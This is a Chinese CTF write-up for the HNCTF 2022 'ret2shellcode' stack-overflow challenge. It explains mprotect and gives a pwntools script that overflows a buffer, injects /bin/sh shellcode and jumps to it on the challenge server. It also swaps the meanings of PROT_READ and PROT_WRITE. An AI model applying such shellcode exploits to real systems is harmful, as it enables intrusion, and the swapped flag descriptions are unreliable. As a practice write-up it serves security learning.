0%

[HNCTF 2022 Week1]ret2shellcode

2025-07-31 02:47By
Ph03n1xRt
shellcoderet2shellcode栈溢出

Problem: [HNCTF 2022 Week1]ret2shellcode

思路

NSSIMAGE
NSSIMAGE
mprotect 函数用于设置一块内存的保护权限(将从 start 开始、长度为 len 的内存的保护属性修改为 prot 指定的值),函数原型如下所示:

#include <sys/mman.h> int mprotect(void *addr, size_t len, int prot);
  • prot 的取值如下,通过 | 可以将几个属性结合使用(值相加):

  • PROT_READ:可写,值为 1

  • PROT_WRITE:可读, 值为 2

  • PROT_EXEC:可执行,值为 4

  • PROT_NONE:不允许访问,值为 0

需要注意的是,指定的内存区间必须包含整个内存页(4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍。

gdb调试发现从0x04000开始,len为0x1000,修改成 1/2/4 = 7 可读可写可执行,

可以将shellcode写入到s中时,将返回地址溢出,并通过sctcpy()将shellcode复制到有执行权限的buff,所以覆盖地址就是buff的地址。

EXP

from pwn import * # context(arch = 'i386', os = 'linux', log_level = 'debug') context(arch = 'amd64', os = 'linux', log_level = 'debug') io = remote('node5.anna.nssctf.cn',20266) # io = process('./shellcode') elf = ELF('./shellcode') offset = 0x100+8 shellcode = asm(shellcraft.sh()).ljust(offset,b'a') buff_addr = 0x4040A0 payload = flat( shellcode, buff_addr, ) io.sendline(payload) io.interactive()

总结

ret2shellcode,mprotect

还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有
加载失败
广告
×
评论区
添加新评论